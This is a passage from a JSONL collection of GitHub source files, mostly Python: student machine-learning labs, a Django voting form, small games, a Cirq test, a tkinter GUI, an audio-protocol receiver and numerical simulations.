+{"seq_id":"34950609826","text":"# Class to implement a logistic regression model and its methods\n# Import the required librearies\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import log_loss\nfrom warnings import simplefilter\n# ignore all future warnings\nsimplefilter(action='ignore')\n\n# model class\n\n\nclass LogisticRegressionModel:\n    # constructor\n    def __init__(self):\n        # Ask user to choose variant of gradient descent\n        print(\"Choose the variant of gradient descent\")\n        print(\"1. Stochastic Gradient Descent\")\n        print(\"2. Batch Gradient Descent\")\n        print(\"3. Mini Batch Gradient Descent\")\n        print(\"4. Newton Raphson\")\n        self.choice = int(input(\"Enter your choice: \"))\n        # create the model according to the choice\n        if self.choice == 1:\n            print(\"Using Stochastic Gradient Descent\")\n            # create the model\n            self.model = LogisticRegression(\n                solver='sag', max_iter=1, warm_start=True, random_state=42)\n        elif self.choice == 2:\n            print(\"Using Batch Gradient Descent\")\n            # create the model\n            self.model = LogisticRegression(\n                solver='lbfgs', max_iter=1, warm_start=True, random_state=42)\n        elif self.choice == 3:\n            print(\"Using Mini Batch Gradient Descent\")\n            # create the model\n            self.model = LogisticRegression(\n                solver='saga', max_iter=1, warm_start=True, random_state=42)\n        elif self.choice == 4:\n            print(\"Using Newton Raphson\")\n            # create the model\n            self.model = LogisticRegression(\n                solver='newton-cg', max_iter=1, warm_start=True, random_state=42)\n        else:\n            print(\"Invalid choice\")\n            exit()\n\n        # Train the model for epochs and store the loss and accuracy\n    def train(self, X_train, X_test, y_train, y_test, epochs=150):\n        loss = []\n        accuracy = []\n        for i in range(epochs):\n            if self.choice == 3:\n                # fit in batches of 10\n                for j in range(0, X_train.shape[0], 10):\n                    self.model.fit(X_train[j:j+10], y_train[j:j+10])\n            else:\n                self.model.fit(X_train, y_train)\n            y_train_pred = self.model.predict(X_train)\n            y_test_pred = self.model.predict(X_test)\n            train_accuracy = accuracy_score(y_train, y_train_pred)\n            test_accuracy = accuracy_score(y_test, y_test_pred)\n            accuracy.append([train_accuracy, test_accuracy])\n            y_train_pred_proba = self.model.predict_proba(X_train)\n            y_test_pred_proba = self.model.predict_proba(X_test)\n            train_loss = log_loss(y_train, y_train_pred_proba)\n            test_loss = log_loss(y_test, y_test_pred_proba)\n            loss.append([train_loss, test_loss])\n        self.loss = loss\n        self.accuracy = accuracy\n    # plot the loss vs epochs graph\n\n    def plot_loss(self):\n        plt.plot(self.loss)\n        plt.xlabel('Epochs')\n        plt.ylabel('Loss')\n        plt.legend(['Train', 'Test'])\n        plt.show()\n    # plot the accuracy vs epochs graph\n\n    def plot_accuracy(self):\n        plt.plot(self.accuracy)\n        plt.xlabel('Epochs')\n        plt.ylabel('Accuracy')\n        plt.legend(['Train', 'Test'])\n        plt.show()\n    # print the optimized weights and bias\n\n    def print_weights(self):\n        print(\"Optimized weights: \", self.model.coef_)\n        print(\"Optimized bias: \", self.model.intercept_)\n    # predict the final loss and accuracy\n\n    def predict(self, X_test, y_test):\n        print(\"Final loss on training set: \", self.loss[-1][0])\n        print(\"Final loss on test set: \", self.loss[-1][1])\n        print(\"Final accuracy on training set: \", self.accuracy[-1][0])\n        print(\"Final accuracy on test set: \", self.accuracy[-1][1])\n","repo_name":"ashwin-2309/ml-lab","sub_path":"assignment 4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75132622009","text":"from django import forms\nfrom django.core.exceptions import PermissionDenied\nfrom django.db import connection, IntegrityError\n\nfrom . import models\n\n\nclass CreateSurpriseCommand(forms.Form):\n    link = forms.URLField()\n\n    def execute(self, user):\n        surprise = models.Surprise.objects.create(\n            link=self.cleaned_data['link'],\n            creator=user,\n        )\n        models.update_metadata(surprise)\n\n        return surprise\n\n\nclass _VoteCommand(forms.Form):\n    increase = 0\n    surprise_id = forms.CharField()\n\n    def execute(self, user):\n        if user is None:\n            raise PermissionDenied()\n\n        pk = self.cleaned_data['surprise_id']\n\n        vote, created = models.Vote.objects.get_or_create(\n            surprise_id=pk,\n            user=user,\n            defaults=dict(\n                amount=self.increase,\n            )\n        )\n\n        delta = 0\n        if created:\n            delta = self.increase\n        else:\n            delta = -vote.amount\n            vote.delete()\n\n        with connection.cursor() as c:\n            sql = \"update {} set points = points + %s where id = %s\".format(\n                models.Surprise._meta.db_table,\n            )\n\n            c.execute(sql, (delta, pk))\n\n\nclass UpvoteCommand(_VoteCommand):\n    increase = 1\n\n\nclass DownvoteCommand(_VoteCommand):\n    increase = -1\n","repo_name":"mirigata/mirigata","sub_path":"mirigata/surprise/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"28451666671","text":"class player:\r\n    def __init__(self,x,y):\r\n        self.x=x\r\n        self.y=y\r\n        self.w=150\r\n        self.h=150 \r\n        self.img=loadImage(\"player.png\")\r\n    def play(self):\r\n        if mousePressed and mouseButton == RIGHT:\r\n            fill(255)\r\n            rect(self.x+100,self.y+100,100,150)\r\n        image(self.img,mouseX-75,mouseY-75,self.w,self.h)\r\nclass Vrag:\r\n    def __init__(self):\r\n        \r\n        r = floor (random (1,5))\r\n        self.x=0\r\n        self.y=0\r\n        if (r== 1):\r\n            self.y = 0\r\n            self.x = random(0,800)\r\n        if (r == 2):\r\n            self.y = 800\r\n            self.x = random(0,800)\r\n        if (r== 3):\r\n            self.y = random(0,800)\r\n            self.x = 0\r\n        if (r == 4):\r\n            self.y = random(0,800)\r\n            self.x = 800\r\n        \r\n\r\n        self.dx=(self.x-400)/100\r\n        self.dy=(self.y-400)/100\r\n        \r\n        self.img=loadImage(\"Vrag.png\")\r\n    def drvr(self):\r\n        if mousePressed and mouseButton==RIGHT:\r\n            fill(255,0,0)\r\n            rect(self.x,self.y,150,150)\r\n        image(self.img,self.x,self.y,150,150)\r\n        \r\n    def move(self):\r\n        self.x -=self.dx\r\n        self.y -=self.dy\r\n        \r\n        if self.y >= 850 or self.y<= -50 or self.x >= 850 or self.x <= -50 :\r\n            r=random(1,5)\r\n            if (r== 1):\r\n                self.y = 0\r\n                self.x = random(0,800)\r\n            if (r == 2):\r\n                self.y = 800\r\n                self.x = random(0,800)\r\n            if (r== 3):\r\n                self.y = random(0,800)\r\n                self.x = 0\r\n            if (r == 4):\r\n                self.y = random(0,800)\r\n                self.x = 800\r\n            self.dx=(self.x-mouseX)/100\r\n            self.dy=(self.y-mouseY)/100\r\n    \r\ndef init():\r\n    global pl,vrags\r\n    vrags = []\r\n    \r\n    for i in range(8):\r\n        vrags.append(Vrag())\r\n    pl = player(mouseX-150,mouseY-150)\r\n         \r\nstate  = 0\r\n\r\n\r\n\r\ndef collideRects(x,y,w,h , x1,y1,w1,h1):\r\n    \r\n    def collide(x,y,w,h  , x1, y1):\r\n        return x1>=x and x1 <= x+w and y1 >= y and y1 <= y+h\r\n    return collide(x,y,w,h , x1,y1) or collide(x,y,w,h , x1+w1,y1) or collide(x,y,w,h , x1,y1+h1) or collide(x,y,w,h , x1+w1,y1+h1)\r\n    \r\nstate  = 0\r\nt=0\r\ncou=0\r\ndef setup():\r\n    global vdsa\r\n    pl = player(mouseX,mouseY)\r\n    init()\r\n    size(800,800)\r\n    frameRate(60)\r\ndef draw():\r\n    if mouseButton and mousePressed != RIGHT:\r\n        fill(255)\r\n    pl = player(mouseX-150,mouseY-150)\r\n    textSize(50)\r\n    global x,y,dx,dy,vdsa,state,cou,t\r\n    if key == \" \":\r\n        state=2\r\n    if state==2:\r\n        background(255,0,0)\r\n        text(\"pause\",350,350)\r\n    if state==2 and keyCode==\"1\":\r\n        state=1\r\n    \r\n    \r\n    if (state == 1):\r\n        background(255)\r\n        pl.play()\r\n        \r\n        for vr in vrags:\r\n            vr.drvr()\r\n            vr.move() \r\n            if ( collideRects( vr.x,vr.y,150,150  , mouseX-75,mouseY-50,pl.w,pl.h)) :\r\n                state = 0\r\n            \r\n            \r\n            \r\n    elif (state == 0 ):\r\n        background(255,0,0)\r\n        text(\"start game\",300,400)\r\n        \r\n    cou+=1\r\n    if cou>=60:\r\n        t+=1\r\n        cou=0\r\n    text(t,100,100)\r\n    \r\ndef mouseClicked():\r\n    global state\r\n    if state == 0:\r\n        state = 1\r\n        init()\r\n    if state==2:\r\n        state=1\r\n        init()\r\n","repo_name":"lliri/-","sub_path":"sketch_210506a/sketch_210506a.pyde","file_name":"sketch_210506a.pyde","file_ext":"pyde","file_size_in_byte":3385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"22179275246","text":"import datetime\n\nimport cirq\nimport cirq_ionq as ionq\n\n\ndef test_calibration_fields():\n    calibration_dict = {\n        'connectivity': [[0, 1], [0, 2], [1, 2]],\n        'target': 'ionq.qpu',\n        'qubits': 3,\n        'fidelity': {'1q': {'mean': 0.999}, '2q': {'mean': 0.999}},\n        'timing': {'1q': 1.1e-05, '2q': 0.00021, 'readout': 0.000175, 'reset': 3.5e-05},\n        'date': '2020-08-07T12:47:22.337Z',\n    }\n    cal = ionq.Calibration(calibration_dict=calibration_dict)\n    assert cal.connectivity() == {\n        (cirq.LineQubit(0), cirq.LineQubit(1)),\n        (cirq.LineQubit(1), cirq.LineQubit(0)),\n        (cirq.LineQubit(0), cirq.LineQubit(2)),\n        (cirq.LineQubit(2), cirq.LineQubit(0)),\n        (cirq.LineQubit(1), cirq.LineQubit(2)),\n        (cirq.LineQubit(2), cirq.LineQubit(1)),\n    }\n    assert cal.target() == 'ionq.qpu'\n    assert cal.num_qubits() == 3\n    assert cal.fidelities() == {'1q': {'mean': 0.999}, '2q': {'mean': 0.999}}\n    assert cal.timings() == {'1q': 1.1e-05, '2q': 0.00021, 'readout': 0.000175, 'reset': 3.5e-05}\n    assert cal.calibration_time(tz=datetime.timezone.utc) == datetime.datetime(\n        year=2020,\n        month=8,\n        day=7,\n        hour=12,\n        minute=47,\n        second=22,\n        microsecond=337000,\n        tzinfo=datetime.timezone.utc,\n    )\n    time_minus_one = cal.calibration_time(tz=datetime.timezone(datetime.timedelta(hours=-2)))\n    # It's the same time...\n    assert time_minus_one == datetime.datetime(\n        year=2020,\n        month=8,\n        day=7,\n        hour=12,\n        minute=47,\n        second=22,\n        microsecond=337000,\n        tzinfo=datetime.timezone.utc,\n    )\n    # ...just has a different timezone.\n    assert time_minus_one.tzinfo == datetime.timezone(datetime.timedelta(hours=-2))\n","repo_name":"quantumlib/Cirq","sub_path":"cirq-ionq/cirq_ionq/calibration_test.py","file_name":"calibration_test.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","stars":3974,"dataset":"github-code","pt":"77"}
+{"seq_id":"25542367108","text":"import os\nimport pickle\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tqdm\n\nfrom hmc.applications.banana import posterior_factory\n\nimport load_data\n\nnp.random.seed(0)\n\n\ndef rejection_sampler(log_posterior):\n    logm = -50.5\n    lp_max = -np.inf\n    while True:\n        x = np.random.uniform(low=(-30.0, -10.0), high=(10.0, 10.0))\n        lp = log_posterior(x)\n        logu = np.log(np.random.uniform())\n        assert lp <= logm, lp\n        if logu < lp - logm:\n            yield x\n        if lp > lp_max:\n            lp_max = lp\n            print(lp_max)\n\ndef main(num_samples=1000000, fname='samples.pkl'):\n    y, sigma_y, sigma_theta = load_data.load_data()\n    log_posterior, _, _, _, _ = posterior_factory(y, sigma_y, sigma_theta)\n\n    sampler = rejection_sampler(log_posterior)\n    samples = np.zeros([num_samples, 2])\n    pbar = tqdm.tqdm(total=num_samples)\n    for i in range(num_samples):\n        x = next(sampler)\n        samples[i] = x\n        pbar.update(1)\n\n    with open(os.path.join('data', fname), 'wb') as f:\n        pickle.dump(samples, f)\n\nif __name__ == '__main__':\n    main()\n    for i in range(10):\n        main(1000000, 'samples-{}.pkl'.format(i+1))\n","repo_name":"JamesBrofos/Thresholds-in-Hamiltonian-Monte-Carlo","sub_path":"examples/banana/generate_iid_samples.py","file_name":"generate_iid_samples.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"70101153849","text":"'''\nProblem 5: 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.\nWhat is the smallest positive number that is evenly divisible by all the numbers from 1 to 20?\n\n'''\nimport math\n\n#function to return the lcm of first n numbers\ndef smallest_find_number(num):\n    p = 1\n    for i in range(1,num+1):\n         p = int((p * i)/math.gcd(p,i))    #gcd(to find Greatest Common Divisor) is a function of math class\n    \n    return p\n\n\nn = 20\nprint(\"The smallest positive number that is evenly divisible by all the numbers from 1 to 20\"+str(smallest_find_number(n)))\n","repo_name":"desmond241993/project-euler","sub_path":"PROBLEM 5/smallest_multiple.py","file_name":"smallest_multiple.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"69920660730","text":"from tkinter import *\nfrom tkinter import font\nfrom app import app\nfrom GUI import MapPage, UserCenter, LoginPage, order_history, StopPage,TopUpBanlance\nfrom tkmacosx import Button\n\n\nclass CustomerPage():\n    def __init__(self, app:app, master=None):\n        self.__root = master\n        self.__app = app\n\n    def CreatePage(self):\n\n        self.page = Frame(self.__root, width=1000, height=600)\n        self.page.pack()\n\n        l1_font = font.Font(family=\"Helvetica\", size=32, weight='bold')\n        b2_font = font.Font(family=\"Helvetica\", size=16)\n        b_font = font.Font(family=\"Helvetica\", size=14)\n\n        # Label for Operator\n        label1 = Label(text=\"Welcome customer!\", font=l1_font)\n        label1.place(x=350, y=80)\n\n        # Operator Buttons\n        button2 = Button(text=\"View Map\", command = self.map, font=b2_font, bg='blue', fg='white')\n        button2.place(x=200, y=250, width=260, height=50)\n        button3 = Button(text=\"Rent\", command = self.rent, font=b2_font, bg='green', fg='white')\n        button3.place(x=620, y=250, width=260, height=50)\n        button4 = Button(text=\"Order history\", command = self.history_order, font=b2_font, bg='orange', fg='white')\n        button4.place(x=200, y=350, width=260, height=50)\n        button5 = Button(text=\"User center\",  command = self.user_center, font=b2_font, bg='purple', fg='white')\n        button5.place(x=620, y=350, width=260, height=50)\n        button6 = Button(text=\"Top Up\", command = self.topUp, font=b2_font, bg='red', fg='white')\n        button6.place(x=200, y=450, width=260, height=50)\n\n    def rent(self):\n        StopPage.StopPage(self.__app,self.__root).CreatePage()\n\n    def login(self):\n        for widget in self.page.winfo_children():\n            widget.destroy()\n        LoginPage.LoginPage(self.__root).CreatePage()\n\n    def topUp(self):\n        TopUpBanlance.TopUpBanlancePage(self.__app,self.__root).CreatePage()\n\n    def history_order(self):\n        order_history.HistoryPage(self.__app, self.__root).CreatePage()\n\n    def user_center(self):\n        UserCenter.UserCenterPage(self.__app,self.__root).CreatePage()\n\n    def map(self):\n        MapPage.MapPage(self.__root).CreatePage()\n\n\n\n\n\n\n\n","repo_name":"CreateMiracle0523/ProgSD_TeamProject","sub_path":"GUI/customer_homapage.py","file_name":"customer_homapage.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"71873328250","text":"import sys\nimport pyaudio\nimport threading\nfrom threading import Thread\nfrom ploting_utilities import *\nimport time\nimport audio_utilities as util\nimport constants as const\nimport protocol as protocol\nfrom listener_driver import *\nimport goertzel as gz\nfrom player import *\n\n\nclass Reception_Driver(Thread):\n\n    def __init__(self, high, output):\n        Thread.__init__(self)\n        self.bit_count = 0\n        self.bytes = []\n        self.bits = []\n        self.state = protocol.States.NOT_READY\n        self.high = high\n        self.frequencies = protocol.CHANNELS.values()\n        self.channels = {}\n        self.player = None\n        self.stop_event = threading.Event()\n        self.output = output\n        self.cycle_counter = 3\n        for channel in protocol.CHANNELS.keys():\n            self.channels[channel] = False\n\n        self.listener_driver = Listener(self.frequencies, const.NB_FRAMES_RECPT, 48000, gz.goetzl_driver, self.handle_result, const.THRESHOLD)\n        self.listener_driver.start()\n        self.state = protocol.States.WAITING_INCOMING\n        print('init')\n\n    def run(self):\n        toto = None\n\n    def step(self):\n        print(self.state)\n        if self.state == protocol.States.WAITING_INCOMING:\n            if self.channels['TRANSMISSION_DEMAND']:\n                self.cycle_counter = 3\n                self.player = Player([protocol.CHANNELS['ACKNOWLEDGEMENT']], const.NB_FRAMES, 48000)\n                self.player.start()\n                self.state = protocol.States.WAITING_DATA\n                \n        elif self.state == protocol.States.WAITING_DATA:\n            if self.cycle_counter != 0:\n                self.cycle_counter -= 1\n                return\n            self.cycle_counter = 3 \n            self.bits = []\n            self.player.stop()\n            if self.channels['BIT_0']:\n                self.cycle_counter = 3\n                self.state = protocol.States.DATA_RECEPTION\n                self.bit_count = 0\n            elif self.channels['BIT_1']:\n                self.cycle_counter = 3\n                self.state = protocol.States.DATA_RECEPTION\n                self.bit_count = 0\n            elif self.channels['TRANSMISSION_END']:\n                self.player.stop()\n                self.state = protocol.States.TRANSMISSION_END\n                self.stop()\n        elif self.state == protocol.States.DATA_RECEPTION:\n            print(self.bit_count)\n            print(self.cycle_counter)\n            self.cycle_counter -= 1\n            if self.bit_count >= 8:\n                print(\"RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR\")\n                print(self.bits)\n                self.bytes.append(self.bits)\n                self.output(self.bits)\n                self.state = protocol.States.DATA_END\n                return\n            if self.cycle_counter == 2:\n                if self.channels['BIT_0']:\n                    self.bit_count += 1\n                    self.bits.append(0)\n                elif self.channels['BIT_1']:\n                    self.bit_count += 1\n                    self.bits.append(1)\n                elif self.channels['ERROR']:\n                    self.state = protocol.States.WAITING_DATA\n                    return\n            if self.cycle_counter < 0:\n                self.cycle_counter = 3\n                return\n            \n\n        elif self.state == protocol.States.DATA_END:\n            self.cycle_counter = 3\n            self.player = Player([protocol.CHANNELS['ACKNOWLEDGEMENT']], const.NB_FRAMES, 48000)\n            self.player.start()\n            self.state = protocol.States.WAITING_DATA\n            \n\n\n    def handle_result(self, data):\n        print(data)\n        for (f,r) in data.items():\n            if r:\n                self.channels[protocol.FREQUENCIES[f]] = True\n            else :\n                self.channels[protocol.FREQUENCIES[f]] = False\n        print(self.channels)\n        self.step()\n\n    def stop(self):\n        self.stop_event.set()\n        self.listener_driver.stop()\n        if self.player != None:\n            self.player.stop()\n","repo_name":"DamienGallet/AudioTransmitter","sub_path":"receiver/reception_driver.py","file_name":"reception_driver.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"7493349479","text":"import numpy\nfrom matplotlib import pyplot\nfrom control.matlab import *\n\nA = numpy.array([[-1, -1], [1, 0]])\nB = numpy.array([[1], [0]])\nC = numpy.array([0, 1])\nD = numpy.array([0])\nG_ss = ss(A, B, C, D)\n\nprint(G_ss)\n\n# 1/s^2+s+1\nnum = numpy.array([1])\nden = numpy.array([1, 1, 1])\nG_tf = tf(num, den)\n\nt = numpy.linspace(0, 10, 100)\n\ny_tf, t_tf = step(G_tf, t)\ny_ss, t_ss = step(G_ss, t)\n\npyplot.figure()\npyplot.plot(t_tf, y_tf, label='TF')\npyplot.plot(t_ss, y_ss, '--', label='SS')\npyplot.xlabel(r'$t$ (sec)')\npyplot.ylabel(r'$y$')\npyplot.legend()\npyplot.grid()\npyplot.show()\n\n\nprint (ss2tf(G_ss))\nprint (tf2ss(G_tf))","repo_name":"wjdwls0630/Automatic_Control_Py","sub_path":"Automatic_Control/Control_5.py","file_name":"Control_5.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70102965048","text":"# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution(object):\n    def isValidBST(self, root):\n        self.res = True\n        \n        def helper(root, left, right):\n            if not root:\n                return \n                \n            helper(root.left, left, root.val)\n            helper(root.right, root.val, right)\n            \n            if left >= root.val or root.val >= right:\n                self.res = False\n                \n            return self.res\n\n        return helper(root, float('-inf'), float('inf'))\n       \n        \n        \n                \n\n\n\n            \n        \n        \n        \n        ","repo_name":"gauriwankhade/leetcode","sub_path":"98-validate-binary-search-tree/98-validate-binary-search-tree.py","file_name":"98-validate-binary-search-tree.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26495853796","text":"import tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport platform\nimport importlib\nimport time\nimport os\nfrom utils import get_paths, load_mnist, Struct, one_hot\nfrom importlib.machinery import SourceFileLoader\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\n\ndef preprocess(df, test_size, random_state, logger):\n\n  data_set = Struct()\n  X = np.array(df.iloc[:, 1:].values)\n  y = np.array(df.iloc[:, 0].values, dtype = int)\n\n  normalizer = preprocessing.MinMaxScaler(feature_range=(0,1))\n  X = normalizer.fit_transform(X)\n\n  logger.log(\"Finished normalizing data\")\n\n  train_X, test_X, train_y, test_y = train_test_split(X, y, test_size = test_size,\n    random_state = random_state)\n\n  test_X, validation_X, test_y, validation_y = train_test_split(test_X, test_y, test_size = 0.5, random_state = int(random_state / 2))\n\n  logger.log(\"Finished spliting data into train({:.2f}), test({:.2f}), validation({:.2f})\".\n    format(1 - test_size, test_size / 2, test_size / 2))\n\n  data_set.train_X = train_X\n  data_set.train_y = train_y\n  data_set.test_X = test_X\n  data_set.test_y = test_y\n  data_set.validation_X = validation_X\n  data_set.validation_y = validation_y\n\n  return data_set\n\ndef solve(data_set, learning_rate, batch_size, num_epochs, h1_size, drop_keep, logger):\n\n  mnist_graph = tf.Graph()\n\n  with mnist_graph.as_default():\n\n    tf_keep_prob = tf.placeholder(dtype=tf.float32, shape=())\n\n    tf_X_batch = tf.placeholder(dtype = tf.float32, shape = (None, 784))\n    tf_y_batch = tf.placeholder(dtype = tf.float32, shape = (None, 10))\n\n\n    tf_weights_h1 = tf.get_variable(name = \"h1Weights\", dtype = tf.float32, shape = (784, h1_size),\n                                 initializer = tf.contrib.layers.xavier_initializer(uniform = True, seed = None, dtype = tf.float32))\n    tf_bias_h1 = tf.Variable(initial_value = np.zeros(shape = (h1_size)), dtype = tf.float32)\n\n\n    tf_weights_h2 = tf.get_variable(name = \"h2Weights\", dtype = tf.float32, shape = (h1_size, 10),\n                                    initializer = tf.contrib.layers.xavier_initializer(uniform =True, seed = None, dtype = tf.float32))\n    tf_bias_h2 = tf.Variable(initial_value = np.zeros(shape=(10)), dtype = tf.float32)\n\n    z1 = tf.matmul(tf_X_batch, tf_weights_h1) + tf_bias_h1\n    a1 = tf.nn.relu(z1)\n\n    a1drop = tf.nn.dropout(a1, keep_prob = tf_keep_prob)\n\n    z2 = tf.matmul(a1drop, tf_weights_h2) + tf_bias_h2\n\n    tf_output = tf.nn.softmax(z2)\n\n    J = tf.reduce_mean(tf.losses.softmax_cross_entropy(onehot_labels=tf_y_batch,logits = z2))\n\n    optimizer = tf.train.GradientDescentOptimizer(learning_rate = learning_rate)\n    optimizer_op = optimizer.minimize(J)\n\n    print(\"Creating variable initializer within graph\")\n    init_op = tf.global_variables_initializer()\n\n  print(\"Creating session\")\n  session = tf.Session(graph = mnist_graph)\n\n  print(\"Initializing variables\")\n  init_op.run(session = session)\n\n  for epoch in range(num_epochs):\n    minibatches =  int(data_set.train_X.shape[0] / batch_size)\n    for i in range(minibatches):\n      crt_X = data_set.train_X[i * batch_size : (i + 1) * batch_size, :]\n      crt_y = data_set.train_y[i * batch_size : (i + 1) * batch_size]\n\n      _, batch_loss = session.run([optimizer_op, J], feed_dict={\n                                                         tf_X_batch : crt_X,\n                                                         tf_y_batch : one_hot(crt_y),\n                                                         tf_keep_prob : drop_keep\n                                                      })\n\n      if i % 1000 == 0:\n        print(\"epoch {} minibatch {} loss: {:.3f}\".format(epoch, i, batch_loss))\n\n\n    test_output = tf_output.eval(session = session, feed_dict = {\n                                                      tf_X_batch : data_set.test_X,\n                                                      tf_y_batch: one_hot(data_set.test_y),\n                                                      tf_keep_prob : 1\n                                                    })\n    preds_test = np.sum(np.argmax(test_output, axis=1) == np.argmax(one_hot(data_set.test_y), axis=1))\n    acc_test = preds_test / data_set.test_y.shape[0]\n    print(\"Epoch {} test accuracy {:.2f}\".format(epoch, acc_test * 100))\n\n    train_output = session.run(tf_output, feed_dict = {\n                                            tf_X_batch : data_set.train_X,\n                                            tf_y_batch : one_hot(data_set.train_y),\n                                            tf_keep_prob : 1\n                                          })\n    preds_train = np.sum(np.argmax(train_output, axis=1) == np.argmax(one_hot(data_set.train_y), axis=1))\n    acc_train = preds_train / data_set.train_y.shape[0]\n    print(\"Epoch {} train accuracy {:.2f}\".format(epoch, acc_train * 100))\n\n    return session, tf_output\n\n\nif __name__=='__main__':\n\n  _, utils_path, mnist_path = get_paths(platform.system(), \"_MNIST_data\")\n  logger_lib = SourceFileLoader(\"logger\", os.path.join(utils_path, \"logger.py\")).load_module()\n  logger = logger_lib.Logger(show = True)\n\n  mnist_df = load_mnist(utils_path)\n  logger.log(\"Finished fetching MNIST\")\n\n  data_set = preprocess(mnist_df, 0.3, 13, logger)\n\n\n  session, tf_output = solve(data_set = data_set, learning_rate = 0.01, batch_size =  16, num_epochs = 2, h1_size = 1024, drop_keep = 0.7, logger = logger)\n\n\n\n\n\n","repo_name":"Cloudifier/CLOUDIFIER_WORK","sub_path":"01_tests/05_andrei_repository/2017.09.14_Tf_DNN/engine_dnn.py","file_name":"engine_dnn.py","file_ext":"py","file_size_in_byte":5409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18176436998","text":"\"\"\"\nMath problem statement.\n\"\"\"\nfrom random import randint\n\nwhile True:\n    game = input(\"Would you like to play a game[y/n]: \")\n    try:\n        if game == \"n\":\n            break\n        elif game == \"y\":\n            v1 = randint(0 ,100)\n            v2 = randint(0 ,100)\n            v3 = randint(0 ,100)\n            v4 = randint(0 ,100)\n            print(f\"Predict the value of the expression: {v1}+({v2}*{v3})/4\")\n            answer = v1+(v2*v3)/4\n            userAnswer = float(input(\"Enter your guess: \"))\n            if userAnswer == answer:\n                print(\"Correct Answer\")\n            else:\n                print(\"Your answer is wrong.\")\n                print(f\"Correct answer is {answer}\")\n        else:\n            print(\"Invalid Entry !, Try Again.\")\n    except:\n        print(\"Invalid Entry !, Try Again.\")\n","repo_name":"sranjanB/PBEPy","sub_path":"Ch3/CS2.py","file_name":"CS2.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43332095690","text":"MOD = 1000000007\r\nn, w = input().split()\r\nn = int(n)\r\n\r\nmeaning = dict()\r\nfor _ in range(n):\r\n  word, num = input().split()\r\n  meaning[word] = int(num)\r\n\r\ndp = [1] + ([0] * len(w))\r\n\r\nfor i in range(1,len(w)+1):\r\n  ways = 0\r\n  for k,v in meaning.items():\r\n    if len(k) > i: continue\r\n    elif w[i-len(k):i] == k:\r\n      ways += dp[i-len(k)]*v\r\n  dp[i] = ways\r\nprint(dp[-1] % MOD)","repo_name":"Tetragonal/kattis-solutions","sub_path":"solved/4-5/heritage.py","file_name":"heritage.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4223745821","text":"#! /usr/local/bin/python3.9\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport os\nimport sys\n\nimport numpy as np\nfrom tqdm import tqdm\n\nplt.style.use('dark_background')\n\n\ndef main(driving_force: bool = True):\n\n    STRING_LENGHT = 0.5\n    WAVE_AMPLITUDE = 0.5\n    N_POINTS = 101\n    SIMULATION_ITERATION = 10_000\n    TIME_INTERVAL_MINIMUM = 1e-1\n    PLOT_EVERY = 10\n    WAVENUMBER = 4\n\n    x = np.linspace(0.0, STRING_LENGHT, N_POINTS)\n    dx = x[1]-x[0]\n\n    speed = np.linspace(1.0, 0.1, N_POINTS)**2 * 1e-2\n    # speed = 1e-2\n    proper_speed = dx/TIME_INTERVAL_MINIMUM\n\n    if isinstance(speed, float):\n        if speed > proper_speed:\n            raise RuntimeError(\n                '%.3f > %.3f: stability condition not satisfied!' % (speed, proper_speed))\n\n    U_n0 = np.zeros(N_POINTS)\n    U_n1 = np.zeros(N_POINTS)\n    U_n2 = np.zeros(N_POINTS)\n\n    if driving_force:\n        def U0(t): return WAVE_AMPLITUDE * np.sin(WAVENUMBER / (2 * np.pi) * t)\n        U_n0[0] = U0(0)\n    else:\n        U_n0 = WAVE_AMPLITUDE * np.sin(x * WAVENUMBER * np.pi / STRING_LENGHT)\n\n\n    U_n1[1:N_POINTS-1] = (  U_n0[1:N_POINTS-1]+ speed[1:N_POINTS-1]**2 / (proper_speed**2) * (U_n0[2:N_POINTS]+U_n0[0:N_POINTS-2]-2 * U_n0[1:N_POINTS-1]))\n\n    plt.figure()\n    plt.ylim(-2*WAVE_AMPLITUDE,2*WAVE_AMPLITUDE)\n\n    for i in tqdm(range(1, SIMULATION_ITERATION)):\n\n        if i % PLOT_EVERY == 0:\n            plt.clf()\n            plt.plot(x,U_n1,color='r')\n\n            plt.ylim(-2*WAVE_AMPLITUDE,2*WAVE_AMPLITUDE)\n            plt.text(0.05,0.05,'iteration %6d (time 